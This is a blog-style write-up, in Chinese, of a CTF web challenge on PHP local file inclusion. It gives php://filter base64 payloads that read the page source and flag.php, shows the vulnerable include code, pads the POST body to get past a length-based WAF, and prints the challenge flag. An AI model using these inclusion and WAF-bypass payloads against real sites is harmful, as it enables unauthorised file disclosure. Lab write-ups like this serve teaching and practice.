[鹏城杯 2022]简单包含

[鹏城杯 2022]简单包含

题目来源:nssctf

题目类型:web

涉及考点:PHP伪协议

1. 题目页面给了一条flag路径,先试着POST传参进去

发现存在WAF,这时候考虑获取当前页面的源码以查看绕过规则(猜测过滤掉了flag),因此传入:

flag=php://filter/read=convert.base64-encode/resource=index.php

base64解码后得到php代码如下:

<?php
$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
} else {
    @include($path);
}
?>

2. 代码审计

根据上面得到的代码,我们可以知道当读取的长度大于等于800时即可绕过WAF,因此构造payload如下:

1=1&1=1&1=1&....(此处忽略无数个)1=1&flag=php://filter/read=convert.base64-encode/resource=flag.php

解码后得到flag:

NSSCTF{0664e4f0-fd8b-4984-aeb6-4e55af02b197}

3. 脏数据绕过WAF

某些WAF处理POST的数据时,只会检测开头的8K,后面选择全部放过。因此可以传入一段长数据使WAF失效,从而实现绕过WAF

这篇是补昨天的一篇

日期:2023.8.4

作者:y0Zero

posted @   y0Zero  阅读(719)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
点击右上角即可分享
微信分享提示